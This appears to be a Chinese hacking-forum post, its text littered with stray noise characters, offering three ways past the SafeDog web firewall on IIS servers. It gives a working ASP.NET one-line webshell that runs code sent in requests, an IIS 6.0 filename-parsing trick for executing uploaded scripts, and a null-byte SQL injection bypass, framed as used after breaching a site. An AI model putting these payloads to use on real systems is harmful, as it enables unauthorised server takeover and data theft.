1、绕过IIS安全狗的一句话。( Z" Y+ @4 _ i( v' ]0 \* N. }" T
前几天测试一个网站。找到突破口之后,写入webshell,但服务器上装有IIS安全狗,平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
& k( }. R- U( O4 G6 s5 I" Z5 \<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。
* d0 q- s) f7 t7 J0 j. ]
1 ~; ~( [+ N7 D# B7 i: E2、IIS6.0解析漏洞遇到安全狗。7 w+ I0 E& O5 ?) P
文件名为% J# Q3 [$ }: w, j+ U2 T e
http://www.xxxxx.com/sh3llc0de.asp;1.jpg
7 L7 Y' c+ c ?
; s8 A' w, J" m0 S6 C这样的会被IIS安全狗果断屏蔽。
7 i3 k ^ @, T c8 X改成如下名称,IIS6一样会解析:
1 Y) T$ s7 G. lwww.xxxxx.com/;1.asp;1.jpg
! p ~6 Z1 T8 @# O, {, ^1 ?1 Y1 j: x9 q8 @' S
3、安全狗的注入绕过。 y( M" S' d4 o6 I4 U
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。
) K1 ?+ f) Z2 @$ c: m, V+ `- D但如果:
0 P* L. i" m( K8 l9 b$ {' e) nr00ts.asp?r00ts.com=%00.&id=69%20 and 1=12 b" L; k* n3 B: Z/ `/ R2 L
就可以成功绕过了。) y/ b* o, H& c& o( L
4 c+ K6 g( U8 _6 W1 }4 S% a4 n9 \
4 R! }/ ? s+ t5 Y; ]/ M: v |